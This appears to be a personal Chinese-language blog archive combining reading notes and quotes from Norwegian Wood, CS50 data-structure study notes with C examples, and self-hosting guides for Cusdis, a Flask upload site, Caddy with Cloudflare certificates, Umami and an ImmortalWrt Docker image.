这是我第一次去读村上春树的书籍，一直有人推荐去读，这次是第一次拿起他的书，觉得还是挺有趣的一本小说，能让我有一直想读下去的欲望，然后这本书也是我在地铁上读完的，每次回家或者出远门的路上就会拿起这一本书。读完这本书我的想法就是，我也想去像直子一样的地方 – “阿美寮”疗养院，听了她在心中的描述，以及渡边去探望直子的描述，让我很是向往这个与世隔绝的地方，想要在那边生活，过上自给自足的生活。

以下是一些简单的摘要，我也不知道为什么我在kindle做的标注全部不见了，然后我只能在它的 “您的剪贴” 中寻找

摘要

它延长得那样迅速，竟同夕阳下的阴影一般，并将很快消融在冥冥夜色之中。
“今天怎么格外认真？”我问。 “今天我可是不想输。”木月满意地笑道。那天夜里，他在自家车库中死了。他把橡胶软管接在N360车排气管上，用塑料胶布封好窗缝，然后发动引擎。不知他到底花了多长时间才死去。当他父母探罢亲戚的病，回来打开车库门放车的时候，他已经死了。车上的收音机仍然开着，雨刷上夹着加油站的收据。
死并非生的对立面，而作为生的一部分永存。(贯穿全文的句子)
时不时向空间飘浮的光粒子伸出手去，但指尖什么也触不到。
电车像缝衣针一样在密密麻麻的住宅地带蜿蜒前行。
死的阴影一步一步侵入生命的领地，等察觉到的时候，已经黑乎乎的什么也看不见了。
孤零零一个人，觉得身体就像一点点腐烂下去似的。渐渐腐烂、融化，最后变成一洼黏糊糊的绿色液体，再被吸进地底下去，剩下来的只是衣服——就是这种感觉，在干等一天的时间里。”
我完全淹没在出乎意料的记忆的泉水里（那确实如同岩缝中汩汩涌出的泉水）
从客厅窗口，可以望见树林和山峦的棱线，棱线上浮现着淡淡的夕晖，宛如镀上的一层光边。
但这没有持续多久，不一会睡意袭来，把我拖入温暖的泥沼之中。
在黑夜、噩梦、死人的力量面前太胆小了。你必须做的是忘记这些。只要忘记，你肯定能恢复的。”
现实世界里，很多方面人们都在互相强加，以邻为壑，否则就活不下去。”
窗外细雨霏霏，室内如同水族馆一般凉意侵人。
一九六九年这一年，总是让我想起进退两难的泥沼——每迈一步都几乎把整只鞋陷掉那般滞重而深沉的泥沼。而我就在这片泥沼中气喘吁吁地挪动脚步，前方一无所见，后面渺无来者，只有昏暗的泥沼无边无际地延展开去。甚至时光都随着我的步调而流淌得十分吃力。身边的人早已经遥遥领先，惟独我和我的时间在泥沼中艰难地往来爬行。我四周的世界则面临一切沧桑巨变。
一九七〇年这一陌生年轮转来了，我的二十岁已彻底告终，踏入了新的沼泽地带。
不过以前我也说过，总觉得遥远的将来会在某个意外地方见到你的。”
他奔往新的天地，我则退回自己的泥沼。
我觉得自己浑身仿佛紧紧贴上了一层薄膜。由于薄膜的关系，我无法同外界接触，而同时他们的手也无从触及我的皮肤。
岂料，我这座构筑在脆弱的假设基础上的幻想之城，由于玲子的一封信而顷刻间土崩瓦解，剩下的惟有死气沉沉的平板地基。
“饼干罐不是装有各种各样的饼干，喜欢的和不大喜欢的都在里面吗？如果先一个劲儿挑你喜欢的吃，那么剩下的就全是不大喜欢的。每次遇到麻烦我就总这样想：先把这个应付过去，往下就好办了。人生就是饼干罐。”
倘若周围一团漆黑，那就只能静等眼睛习惯黑暗。
纵令听其自然，世事的长河也还是要流往其应流的方向，而即使再竭尽人力，该受伤害的人也无由幸免。
因为我心里关于直子的记忆堆积如山，它们甚至撬开一点缝隙，争先恐后鼓涌而出，而我根本无法遏止其突发的攻势。
她在如同她内心世界一般昏黑的森林深处勒紧了自己的脖子
夕阳垂垂西坠，斜晖奄奄一息，树影长长地伸至我们脚前。
“我已成为过去的人。你眼前存在的不过是我往日的记忆残片。我心目中最宝贵的东西早在很久以前就已寿终正寝。我不过是按照过去的记忆坐卧行止罢了。”
“信终归不过是信。”我说，“即使烧了，该留在心里的自然留下；就算保存在那里，留不下来的照样留不下。”

CS50Lecture5

Sun, 20 Oct 2024 22:09:37 +0800

这仅仅是我个人的学习笔记，没有什么干货，可能会有写错的信息，不推荐观看学习!

Data Structures

Data structures essentially are forms of organization in memory.
There are many ways to organize data in memory
Abstract data structures are those that we can conceptually imagine. When learning about computer science, it’s often useful to begin with these conceptual data structures. Learning these will make it easier later to understand how to implement more concrete data structures.

Stacks and Queues

Queues are one form of abstract data structure.
Queues have specific properties. Namely, they are FIFO or “first in first out.” You can imagine yourself in a line for a ride at an amusement park. The first person in the line gets to go on the ride first. The last person gets to go on the ride last.
Queues have specific actions associated with them. For example, an item can be enqueued; that is, the item can join the line or queue. Further, an item can be dequeued or leave the queue once it reaches the front of the line.
Euqueue 是指将一个元素添加到队列的末尾。dequeue 是指从队列的前面移除一个元素
Queues 与 Stack 形成鲜明对比。从根本上说，Stack 的属性与 Queue 不同，Stack 是 LIFO 也就是 “last in first out”。就像自助餐厅里的托盘堆叠一样，最后放入堆叠中的托盘可能最先被取走，Jack Learns the Facts About Queues and Stacks
Stacks have specific actions associated with them. For example, push places something on top of a stack. Pop is removing something from the top of the stack.
In code, you might imagine a stack as follows:

typedef struct
{
    person people[CAPACITY];
    int size;
}
stack;

Notice that an array called people is of type person. The CAPACITY is how high the stack could be. The integer size is how full the stack actually is, regardless of how much it could hold.

You might imagine that the above code has a limitation. Since the capacity of the array is always predetermined in this code. Therefore, the stack may always be oversized. You might imagine only using one place in the stack out of 5000.
It would be nice for our stack to be dynamic – able to grow as items are added to it.

Resizing Arrays

An array is a block of contiguous memory.
You might imagine an array as follows:
In memory, there are other values being stored by other programs, functions, and variables. Many of these may be unused garbage values that were utilized at one point but are available now for use.
Imagine you wanted to store a fourth value 4 in our array? What would be needed is to allocate a new area of memory and move the old array to a new one. Initially, this new area of memory would be populated with garbage values.
As values are added to this new area of memory, old garbage values would be overwritten.
Eventually, all old garbage values would be overwritten with our new data.
One of the drawbacks of this approach is that it’s bad design: Every time we add a number, we have to copy the array item by item.
如果我们能把4放在内存的其他地方，岂不更好？根据定义，这将不再是一个数组，因为4不再位于连续的内存中。

// Implements a list of numbers with an array of fixed size

#include <stdio.h>

int main(void)
{
    // List of size 3
    int list[3];

    // Initialize list with numbers
    list[0] = 1;
    list[1] = 2;
    list[2] = 3;

    // Print list
    for (int i = 0; i < 3; i++)
    {
        printf("%i\n", list[i]);
    }
}

We have memory being preallocated for three items.
Building upon our knowledge obtained more recently, we can leverage our understanding of pointers to create a better design in this code. Modify your code as follows:

// Implements a list of numbers with an array of dynamic size

#include <stdio.h>
#include <stdlib.h>

int main(void)
{
    // List of size 3
    int *list = malloc(3 * sizeof(int));
    if (list == NULL)
    {
        return 1;
    }

    // Initialize list of size 3 with numbers
    list[0] = 1;
    list[1] = 2;
    list[2] = 3;

    // List of size 4
    int *tmp = malloc(4 * sizeof(int));
    if (tmp == NULL)
    {
        free(list);
        return 1;
    }

    // Copy list of size 3 into list of size 4
    for (int i = 0; i < 3; i++)
    {
        tmp[i] = list[i];
    }

    // Add number to list of size 4
    tmp[3] = 4;

    // Free list of size 3
    free(list);

    // Remember list of size 4
    list = tmp;

    // Print list
    for (int i = 0; i < 4; i++)
    {
        printf("%i\n", list[i]);
    }

    // Free list
    free(list);
    return 0;
}

Notice that a list of size three integers is created. Then, three memory addresses can be assigned the values 1, 2, and 3. Then, a list of size four is created. Next, the list is copied from the first to the second. The value for the 4 is added to the tmp list. Since the block of memory that list points to is no longer used, it is freed using the command free(list). Finally, the compiler is told to point list pointer now to the block of memory that tmp points to. The contents of list are printed and then freed.

It’s useful to think about list and tmp as both signs that point at a chunk of memory. As in the example above, list at one point pointed to an array of size 3. By the end, list was told to point to a chunk of memory of size 4. Technically, by the end of the above code, tmp and list both pointed to the same block of memory.

Linked List

c A struct is a data type that you can define yourself. A . in dot notation allows you to access variables inside that structure. The * operator is used to declare a pointer or dereference a variable.
Today, you are introduced to the -> operator. It is an arrow. This operator goes to an address and looks inside of a structure.
A linked list is one of the most powerful data structures within C. A linked list allows you to include values that are located at varying areas of memory. Further, they allow you to dynamically grow and shrink the list as you desire.
You might imagine three values stored at three different areas of memory as follows:
We could imagine this data pictured above as follows:
We could utilize more memory to keep track of where the next item is. Notice that NULL is utilized to indicate that nothing else is next in the list.
By convention, we would keep one more element in memory, a pointer, that keeps track of the first item in the list.
Abstracting away the memory addresses, the list would appear as follows:
These boxes are called nodes. A node contains both an item and a pointer called next. In code, you can imagine a node as follows:

typedef struct node
{
    int number;
    struct node *next;
}
node;

Notice that the item contained within this node is an integer called number. Second, a pointer to a node called next is included, which will point to another node somewhere in memory.

Conceptually, we can imagine the process of creating a linked list. First, node *list is declared, but it is of a garbage value.
Next, a node called n is allocated in memory.
Next, the number of node is assigned the value 1.
Next, the node’s next field is assigned NULL.
Next, list is pointed at the memory location to where n points. n and list now point to the same place.
A new node is then created. Both the number and next field are both filled with garbage values.。
The number value of n’s node (the new node) is updated to 2.
Also, the next field is updated as well.
Most important, we do not want to lose our connection to any of these nodes lest they be lost forever. Accordingly, n’s next field is pointed to the same memory location as list.
Finally, list is updated to point at n. We now have a linked list of two items.
To implement this in code, modify your code as follows:

// Prepends numbers to a linked list, using while loop to print

#include <cs50.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct node
{
    int number;
    struct node *next;
}
node;

int main(int argc, char *argv[])
{
	// argc "argument count 命令行参数的数量"
	// argv "argument vector 一个字符串数组，存储命令行参数的实际值"
    // Memory for numbers
    node *list = NULL;

    // For each command-line argument
    for (int i = 1; i < argc; i++)
    {
        // Convert argument to int
        int number = atoi(argv[i]); //ASCII to integer

        // Allocate node for number
        node *n = malloc(sizeof(node));
        if (n == NULL)
        {
            return 1;
        }
        n->number = number;
        n->next = NULL;

        // Prepend node to list
        n->next = list;
        list = n;
    }

    // Print numbers
    node *ptr = list;
    while (ptr != NULL)
    {
        printf("%i\n", ptr->number);
        ptr = ptr->next;
    }

    // Free memory
    ptr = list;
    while (ptr != NULL)
    {
        node *next = ptr->next;
        free(ptr);
        ptr = next;
    }
}

注意，用户在命令行输入的内容被放入一个名为 number 的节点 n 的字段中，然后该节点被添加到 list 中。例如，./list 1 2 将数字 1 放入一个名为 number 的节点 n 的字段中，然后将指向 list 的指针放入该节点的 next 字段中，接着更新 list 以指向 n。对于 2，同样的过程会重复进行。接下来，node *ptr = list 创建一个临时变量，指向与 list 相同的位置。while 打印 ptr 指向的节点内容，然后更新 ptr 以指向列表中的 next 节点。最后，释放所有内存

在这个例子中，插入到列表中的顺序始终是 O(1) ，因为在列表前面插入只需要非常少的步骤。

考虑到搜索此列表所需的时间，它的复杂度为 O(n) ，因为在最坏的情况下，必须始终搜索整个列表才能找到一个项目。向列表中添加新元素的时间复杂度将取决于该元素添加的位置。以下示例对此进行了说明。

链表并不是存储在连续的内存块中。只要有足够的系统资源，它们可以无限增长。然而，缺点是需要更多的内存来跟踪列表，而不是数组。这是因为对于每个元素，您不仅必须存储元素的值，还必须存储指向下一个节点的指针。此外，链表不能像数组那样进行索引，因为我们需要遍历前 n−1 个元素才能找到第 n 个元素的位置。因此，上面所示的列表必须进行线性搜索。因此，在上述构造的列表中，二分搜索是不可能的。

进一步地，您可以在列表末尾放置数字，如以下代码所示

// Implements a sorted list of numbers using a linked list

#include <cs50.h>
#include <stdio.h>
#include <stdlib.h>

typedef struct node
{
    int number;
    struct node *next;
}
node;

int main(int argc, char *argv[])
{
    // Memory for numbers
    node *list = NULL;

    // For each command-line argument
    for (int i = 1; i < argc; i++)
    {
        // Convert argument to int
        int number = atoi(argv[i]);

        // Allocate node for number
        node *n = malloc(sizeof(node));
        if (n == NULL)
        {
            return 1;
        }
        n->number = number;
        n->next = NULL;

        // If list is empty
        if (list == NULL)
        {
            list = n;
        }

        // If number belongs at beginning of list
        else if (n->number < list->number)
        {
            n->next = list;
            list = n; 
        }

        // If number belongs later in list
        else
        {
            // Iterate over nodes in list
            for (node *ptr = list; ptr != NULL; ptr = ptr->next)
            {
                // If at end of list
                if (ptr->next == NULL)
                {
                    // Append node
                    ptr->next = n;
                    break;
                }

                // If in middle of list
                if (n->number < ptr->next->number)
                {
                    n->next = ptr->next;
                    ptr->next = n;
                    break;
                }
            }
        }
    }

    // Print numbers
    for (node *ptr = list; ptr != NULL; ptr = ptr->next)
    {
        printf("%i\n", ptr->number);
    }

    // Free memory
    node *ptr = list;
    while (ptr != NULL)
    {
        node *next = ptr->next;
        free(ptr);
        ptr = next;
    }
}

注意这个列表在构建时是如何排序的。为了以这种特定顺序插入一个元素，我们的代码在每次插入时仍然会运行在 O(n) ，因为在最坏的情况下，我们必须查看所有当前元素。

Trees

Binary search trees are another data structure that can be used to store data more efficiently such that it can be searched and retrieved.
You can imagine a sorted sequence of numbers.
Imagine then that the center value becomes the top of a tree. Those that are less than this value are placed to the left. Those values that are more than this value are to the right.
Pointers can then be used to point to the correct location of each area of memory such that each of these nodes can be connected.
In code, this can be implemented as follows.

// Implements a list of numbers as a binary search tree

#include <stdio.h>
#include <stdlib.h>

// Represents a node
typedef struct node
{
    int number;
    struct node *left;
    struct node *right;
}
node;

void free_tree(node *root);
void print_tree(node *root);

int main(void)
{
    // Tree of size 0
    node *tree = NULL;

    // Add number to list
    node *n = malloc(sizeof(node));
    if (n == NULL)
    {
        return 1;
    }
    n->number = 2;
    n->left = NULL;
    n->right = NULL;
    tree = n;

    // Add number to list
    n = malloc(sizeof(node));
    if (n == NULL)
    {
        free_tree(tree);
        return 1;
    }
    n->number = 1;
    n->left = NULL;
    n->right = NULL;
    tree->left = n;

    // Add number to list
    n = malloc(sizeof(node));
    if (n == NULL)
    {
        free_tree(tree);
        return 1;
    }
    n->number = 3;
    n->left = NULL;
    n->right = NULL;
    tree->right = n;

    // Print tree
    print_tree(tree);

    // Free tree
    free_tree(tree);
    return 0;
}

void free_tree(node *root)
{
    if (root == NULL)
    {
        return;
    }
    free_tree(root->left);
    free_tree(root->right);
    free(root);
}

void print_tree(node *root)
{
    if (root == NULL)
    {
        return;
    }
    print_tree(root->left);
    printf("%i\n", root->number);
    print_tree(root->right);
}

Notice this search function begins by going to the location of tree. Then, it uses recursion to search for number. The free_tree function recursively frees the tree. print_tree recursively prints the tree.

A tree like the above offers dynamism that an array does not offer. It can grow and shrink as we wish.
Further, this structure offers a search time of O(logn).

Dictionaries

Dictionaries are another data structure.
Dictionaries, like actual book-form dictionaries that have a word and a definition, have a key and a value.
The holy grail of algorithmic time complexity is O(1) or constant time. That is, the ultimate is for access to be instantaneous.
- Dictionaries can offer this speed of access through hashing.

Hashing and Hash Tables

Hashing is the idea of taking a value and being able to output a value that becomes a shortcut to it later.
For example, hashing apple may hash as a value of 1, and berry may be hashed as 2. Therefore, finding apple is as easy as asking the hash algorithm where apple is stored. While not ideal in terms of design, ultimately, putting all a’s in one bucket and b’s in another, this concept of bucketizing hashed values illustrates how you can use this concept: a hashed value can be used to shortcut finding such a value.
A hash function is an algorithm that reduces a larger value to something small and predictable. Generally, this function takes in an item you wish to add to your hash table, and returns an integer representing the array index in which the item should be placed.
A hash table is a fantastic combination of both arrays and linked lists. When implemented in code, a hash table is an array of pointers to _node_s.
A hash table could be imagined as follows: Notice that this is an array that is assigned each value of the alphabet.
Then, at each location of the array, a linked list is used to track each value being stored there:
Collisions are when you add values to the hash table, and something already exists at the hashed location. In the above, collisions are simply appended to the end of the list.
Collisions can be reduced by better programming your hash table and hash algorithm. You can imagine an improvement upon the above as follows:

Consider the following example of a hash algorithm:
This could be implemented in code as:

#include <ctype.h>

unsigned int hash(const char *word)
{
    return toupper(word[0]) - 'A';
}

Notice how the hash function returns the value of toupper(word[0]) - 'A'.

You, as the programmer, have to make a decision about the advantages of using more memory to have a large hash table and potentially reducing search time or using less memory and potentially increasing search time.

Tries

Tries are another form of data structure.
Tries are always searchable in constant time.
One downside to Tries is that they tend to take up a large amount of memory. Notice that we need 26×4=104 nodes just to store Toad!
Toad would be stored as follows:
Tom would then be stored as follows:
The downside of this structure is how many resources are required to use it.

给博客搭建Cusdis评论系统

Fri, 27 Sep 2024 15:52:13 +0800

因为自己的博客网站一直没有设立评论系统，然后看了 Pseudoyu 大佬的博客之前的文章看到了 Cusdis 这个评论系统，然后自己尝试在自己的网站上搭建，并且记录一下自己遇到的报错。希望对您有帮助

我使用的方案是(Cusdis + Docker)，如果想使用 Railway 方案的话，可以查看 Pseudoyu大佬的文章

搭建部署说明

使用Docker 部署 Cusdis 服务

我使用的是docker方案进行搭建，以下是官方docker-compose.yml 文件内容

version: "3.9"
services:
  cusdis:
    image: "djyde/cusdis:1.3.2"
    ports:
      - "3000:3000"
    environment:
      - USERNAME=admin
      - PASSWORD=password
      - JWT_SECRET=ofcourseistillloveyou
      - NEXTAUTH_URL=http://IP_ADDRESS_OR_DOMAIN
      - DB_TYPE=pgsql
      - DB_URL=postgresql://cusdis:password@pgsql:5432/cusdis
  pgsql:
    image: "postgres:13"
    volumes:
      - "./data:/var/lib/postgresql/data"
    environment:
      - POSTGRES_USER=cusdis
      - POSTGRES_DB=cusdis
      - POSTGRES_PASSWORD=password

官方的docker-compose.yml 中没有指定具体的镜像版本号，latest会导致 iframe 错误，导致 comment 模块在网页中显示错误，指定镜像为1.3.2就没有这个问题，有人在官方仓库提交了这个 Issues#233.

配置 Cusdis 脚本至个人博客

部署完成后，点击 Cusdis 服务生成的链接，点击访问服务 Dashboard。登录这里的USERNAME 和 PASSWORD 就是刚刚在 docker-compose.yml 的USERNAME 和 PASSWORD

第一次登录会弹窗提示需要配置第一个网站，输入网站名称即可完成添加。

后续当我们需要添加网站时，点击侧边栏 New Website，添加网站名称即可完成添加。

下面我们点击上方的 Embed Code，复制弹窗中的代码。这部份代码需要根据你所用的博客网站类型不同进行部分修改，具体可参考官方文档的 Integration 模块进行配置。

我所用的是 Hugo，配置如下

  <h3>Comments:</h4>
  <div id="cusdis_thread" data-host="https://xxx"
    data-app-id="xxx"
    data-page-id="{{ .File.UniqueID }}" data-page-url="{{ .Permalink }}"
    data-page-title="{{ .Title }}"></div>
  <script async defer src="xxx"></script>

修改后，将其添加到博客的相应位置(一般是在最下面)，配置部署后，就可以看到评论框

如果你显示的有页面问题，不妨更改一下镜像版本，更改为1.3.2版本

配置邮箱提醒:

官方文档中有进行介绍，我这里使用的是 Gmail 方案，首先，访问 Google Account Security。然后确定你已经开启了 Two-factor Authentication。然后去 application passwords 创建一个属于 Cusdis 的密码。

SMTP_HOST=smtp.gmail.com 
SMTP_PORT=465 
SMTP_SECURE=true 
SMTP_USER=your gmail email 
SMTP_PASSWORD=<app password> 
SMTP_SENDER=your gmail email

记得 SMTP_PASSWRD 中输入的是在application passwords 创建的密码，记得把 <> 删掉哦(我没有删掉就会出现报错，然后收不到邮件)

The sender email MUST be the same as login user, but you can give it a display name by John Doe <john.doe@gmail.com>, the same applies for other SMTP services.

然后在 Settings –> Notification 打开 Enable new comment notification

在网站中的 Preferences 确定下 Email Notificatioin 是否打开

然后在 Settings 中就可以输入你想被通知的邮箱啦！

也可以使用 Follow 的 Inbox 功能啦

总结

以上就是我为我的网站添加 Cusdis 评论系统的全过程。如果遇到什么问题，欢迎留下你的评论，或者给我发邮件哦 :)

参考资料:

在服务器上部署简单文件提交系统

Mon, 16 Sep 2024 00:00:31 +0800

为了帮助老师收集所有同学的作业并统一打包发送，我之前一直通过微信收发文件，但这种方式容易导致文件混乱。因此，我决定开发一个网站，让同学们可以直接在网页上上传作业。这个想法源于我之前学习的 CS50 Python 网课，发现使用 Python 开发后端相对简单。随后，我了解了 Flask 框架，并开始根据其官网文档学习开发。这个项目不仅实现了文件上传功能，也帮助我更深入地学习和掌握 Flask 框架。

我的服务器系统是 Debian 11

搭建 Caddy 服务并且使用 Cloudflare 自动获取SSL 证书

可以看我之前写的这一篇文章: 使用Caddy和Cloudflare自动获取SSL证书

搭建文件上传环境

Homework-Upload-System 这是我使用 Python + html 写的简单网页，可以进行拉起更改

只需要给.env 文件添加上缤纷云桶的 access key 和 secret key

搭建Python 环境

安装Python环境

sudo apt update
sudo apt install python3 python3-pip
sudo apt install python3-venv

因为要使用虚拟化环境。所以需要安装python3-venv 包

然后进入你的刚刚从 GitHub 仓库拉起的代码的文件目录，我的目录是/uploadsys，以下是我的目录结构

然后/uploadsys目录下创建虚拟环境并激活它

cd /uploadsys/
python3 -m venv myvenv
source myvenv/bin/activate

安装requirements.txt 中的依赖包

pip install --upgrade  pip

如果您的系统是 Debian 11 然后是 Python 3.9 的话可能会出现一个错误，关于urllib3 的

INFO: pip is looking at multiple versions of botocore to determine which version is compatible with other requirements. This could take a while. ERROR: Cannot install -r requirement.txt (line 3) and urllib3==2.2.2 because these package versions have conflicting dependencies. The conflict is caused by: The user requested urllib3==2.2.2 botocore 1.35.13 depends on urllib3<1.27 and >=1.25.4; python_version < "3.10" To fix this you could try to: 1. loosen the range of package versions you've specified 2. remove package versions to allow pip to attempt to solve the dependency conflict ERROR: ResolutionImpossible: for help visit https://pip.pypa.io/en/latest/topics/dependency-resolution/#dealing-with-dependency-conflicts

我之前在Debian 12 的系统环境安装的是 Python 3.11 因为在 Python 3.10 及更高的版本中，botocore 和 boto3 不再限制 urlib3 的版本，允许使用较新的 urllib3版本。而 Python3.9 及以下版本中，botocore 1.35.13 限制了 urllib3 的版本为 <1.27。这就与我的 requirements.txt 文件中的 urllib3==2.2.2 发生了冲突，我这里直接限制了 urllib3 的版本，限制为 urllib3>=1.25.4,<1.27，只需要更改 requirements.txt 文件中的 urllib3 版本就ok了

安装 Gunicorn 发布应用

pip install gunicorn

使用 Gunicorn 运行你的 Flask 应用。我这里的 Flask 应用文件名为 app.py，然后发布到指定的 9876 端口

gunicorn app:app --bind 0.0.0.0:9876

然后就可以根据之前写的使用Caddy和Cloudflare自动获取SSL证书中的方法直接解析到我的域名之上了

使用Caddy和Cloudflare自动获取SSL证书

Mon, 29 Jul 2024 00:07:48 +0800

由于之前为博客网站搭建了 Umami 统计工具，并计划将 Vaultwarden 服务从 Homelab 迁移到服务器上运行，以便在外网访问自己的 Vaultwarden 服务，我开始学习使用 Caddy 来获取 SSL 证书。通过将网站绑定到我在 Cloudflare 上的域名中，我可以更方便地管理和访问这些服务。

我的服务器系统为：Debian 12

Caddy

这是 Caddy的官网

安装Caddy

安装该软件包后， Caddy 会作为名为 caddy 的 systemd 服务自动启动和运行稳定版本:

sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https curl
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-stable-archive-keyring.gpg
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/stable/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-stable.list
sudo apt update
sudo apt install caddy

如果执行命令有报错的话，不妨先执行一下apt-get update先

然后我们运行

caddy

没有报错的话就是安装成功了

运行Caddy

caddy run 和 systemctl start caddy 是启动 Caddy 的两种不同方法

caddy run：通常用于开发、调试或测试环境中，因为她会直接将输出打印到终端，便于查看日志和调试信息。也不会将 Caddy 当作系统服务来管理，它只是在当前会话中启动 Caddy 可以通过Ctrl + C 停止
systemctl start caddy：会将 Caddy 作为一个系统服务来启动。通过 systemctl 启动的服务可以由系统自动管理，包括在系统启动时自动启动、记录日志、监控状态等

我这里用的是caddy run 以及 caddy start 等。Caddy 也有 Command Line页面来解释每个命令的作用和意思

如果你打算用 Caddy 自带的服务管理框架的时候，你运行caddy start或者caddy run 的时候可能会碰到一下报错我猜测是 systemctl 已经启动了 caddy 服务，使用 Caddy 自带的服务管理框架启动的时候，因为systemctl 已经启动了caddy服务，所以将caddy的 API 端口给占用了，所以我们只需要netstat -tulp | grep 2019，找到占用的进程号然后使用kill -9 2804 将它 kill 掉(2804是我的进程号，这里要改成自己的)

这个时候我们再使用caddy start 就不会报错咯

然后可以直接通过 IP 在浏览器中访问的到网页

Caddy的基础配置

进入 caddy 配置文件的目录

cd /etc/caddy

更改caddy端口

如果你服务器的80端口和443端口给占用了，可以将caddy的https和http端口给更改，只需要在Caddyfile中添加。Caddy社区回答

{                                             
        https_port 8443                                              
        http_port 8080
        local_certs
}

添加 Module dns.providers.cloudflare

[NON-STANDARD]此模块不随 Caddy 一同提供。您可以通过使用 xcaddy 或我们的下载页面添加它。非标准模块可能由社区开发，并不受 Caddy 项目的官方支持或维护。

Custom builds:https://github.com/caddy-dns/cloudflare

Custom builds： xcaddy build --with github.com/caddy-dns/cloudflare

Go的安装

选择好自己的系统，右键复制地址

回到终端中执行

wget https://go.dev/dl/go1.22.5.linux-amd64.tar.gz #后面为你刚刚在浏览器中复制的地址

删除之前的Go 安装文件已经将刚刚下载好的包解压到 /usr/local

 rm -rf /usr/local/go && tar -C /usr/local -xzf go1.22.5.linux-amd64.tar.gz

将 /usr/local/go/bin 添加到PATH环境变量之中

export PATH=$PATH:/usr/local/go/bin

输入以下命令来验证是否成功安装Go

 go version

安装xcaddy

前提条件: 已安装Go

你可以从源代码构建xcaddy

go install github.com/caddyserver/xcaddy/cmd/xcaddy@latest

对于 Debian， Ubuntu和 Raspbian，可以直接从官方的 Cloudsmith 仓库获取 xcaddy 包 (我选的是这个方法)

sudo apt install -y debian-keyring debian-archive-keyring apt-transport-https
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/xcaddy/gpg.key' | sudo gpg --dearmor -o /usr/share/keyrings/caddy-xcaddy-archive-keyring.gpg
curl -1sLf 'https://dl.cloudsmith.io/public/caddy/xcaddy/debian.deb.txt' | sudo tee /etc/apt/sources.list.d/caddy-xcaddy.list
sudo apt update
sudo apt install xcaddy

构建 dns.providers.cloudflare 模块

我选择回到/etc/caddy/ 目录下运行，因为会生成一个执行文件

xcaddy build --with github.com/caddy-dns/cloudflare

创建 Cloudflare 的 tokens

登录 Cloudflare 并转到要使用Caddy的域名
向下滑之后右边你会看到标题为 “API” 的部分，点击 “Get your API token”
然后点击 “Create Token”
在 “User API Tokens” 页面，滑动到底部，点击 “Create Custom Token”
给你的Token 命名，然后添加两个 “Permissions”
1. Zone - Zone - Read
2. Zone - DNS -Edit
然后点击 “Continue to summary”，现在就能看到您的API token了，然后将它复制下来

Caddyfile编写

可以将Caddyfile 文件里面的内容全部注释掉或者删掉，因为我的Umami服务是在3000端口运行的，所以要reverse_proxy 127.0.0.1:3000。

以下是我的Caddyfile(example.com要换成你的域名)

example.com {
        reverse_proxy 127.0.0.1:3000
        tls {
                dns cloudflare {env.CLOUDFLARE_API_TOKEN}
        }
}

然后在终端中输入之前拿到的Cloudflare API token

export CLOUDFLARE_API_TOKEN="your-api-token"

这个环境变量只在当前的终端会话中有效，一旦你关闭了终端或者退出了登录，这个环境变量就会失效。

如果你希望在每次登录时自动设置这个环境变量，可以将它添加到你的 shell 配置文件中，比如 .bashrc 或 .bash_profile

运行

在/etc/caddy/文件夹下执行./caddy run 启动(如果有报错大概率是端口冲突，前面有解决方法)。

在 Cloudflare 中添加好记录，就可以尝试访问了访问成功！！

参考文档

搭建Umami服务

Fri, 26 Jul 2024 00:10:04 +0800

什么是Umami

Umami 是一种简单、快速、注重隐私的开源分析解决方法。Umami 是 Google Analytics 的最佳替代品，因为它能让您完全控制数据，而且不会侵犯用户隐私。

安装

我使用的安装方法是 Docker ，以下是Umami 的 docker-compose.yml (Dockerfile仓库地址)

---
version: '3'
services:
  umami:
    image: ghcr.io/umami-software/umami:postgresql-latest
    ports:
      - "3000:3000"
    environment:
      DATABASE_URL: postgresql://umami:umami@db:5432/umami
      DATABASE_TYPE: postgresql
      APP_SECRET: replace-me-with-a-random-string
    depends_on:
      db:
        condition: service_healthy
    restart: always
    healthcheck:
      test: ["CMD-SHELL", "curl http://localhost:3000/api/heartbeat"]
      interval: 5s
      timeout: 5s
      retries: 5
  db:
    image: postgres:15-alpine
    environment:
      POSTGRES_DB: umami
      POSTGRES_USER: umami
      POSTGRES_PASSWORD: umami
    volumes:
      - umami-db-data:/var/lib/postgresql/data
    restart: always
    healthcheck:
      test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"]
      interval: 5s
      timeout: 5s
      retries: 5
volumes:
  umami-db-data:

然后运行

docker-compose up -d

然后访问网页(因为我的服务器3000端口给占用了，所以我改到3333) 默认用户名: admin 默认密码: umami (登录上去记得修改)

使用

后面的使用步骤和在Umami官网上的使用步骤是一样的，只不过要把Tracking code更换一下。

从官方固件到Docker镜像：ImmortalWrt构建与运行之旅

Fri, 19 Jul 2024 18:28:24 +0800

自从上次因为不小心(手贱)将自己小服务器分区给整坏了，导致开不了机，重新搭建了OpenWrt，不到1个月的时间，这次觉得上次使用的镜像太久没有更新了，然后加上是别人编译的镜像，这次想着自己来做一次镜像，并且学习一下，也碰到了很多自己没有遇到过的报错，也在一次又一次的报错中学习到了很多东西，如果有写错的地方，欢迎评论提出或者邮件，谢谢！

使用官方固件

这里以x86-64平台为例

首先获取固件的下载地址

打开ImmortalWrt的官网，选择当前最新的稳定版本23.05.3(笔记后面用的是23.05.2，因为写笔记的时候 23.05.3 刚刚更新，有些导航页还没完成)
选择x86平台

选择64位
选择固件rootfs.tar.gz
鼠标右键点击"复制链接地址"获取到固件的下载地址，后面第6步需要用到
开始构建镜像

git clone https://github.com/crazygit/openwrt-x86-64.git openwrt-x86-64
cd openwrt-x86-64
# 参数1: 第5步中获取的固件下载地址
# 参数2: docker镜像的名字，可以随便指定: 如pseudowang/openwrt-x86-64
./build.sh "https://downloads.immortalwrt.org/releases/23.05.2/targets/x86/64/immortalwrt-23.05.2-x86-64-rootfs.tar.gz" pseudowang/openwrt-x86-64

设置网络

将网卡混杂模式打开

sudo ip link set enp3s0 promisc on

混杂模式（Promiscuous Mode）是一种网络接口卡 (NIC) 操作模式。在这种模式下，网络接口卡会接收它所在网络上的所有数据包，而不仅仅是发送给它的数据包。

创建 Docker 网卡

docker network create -d macvlan --subnet=192.168.10.0/24 --gateway=192.168.10.1 -o parent=enp3s0 macnet

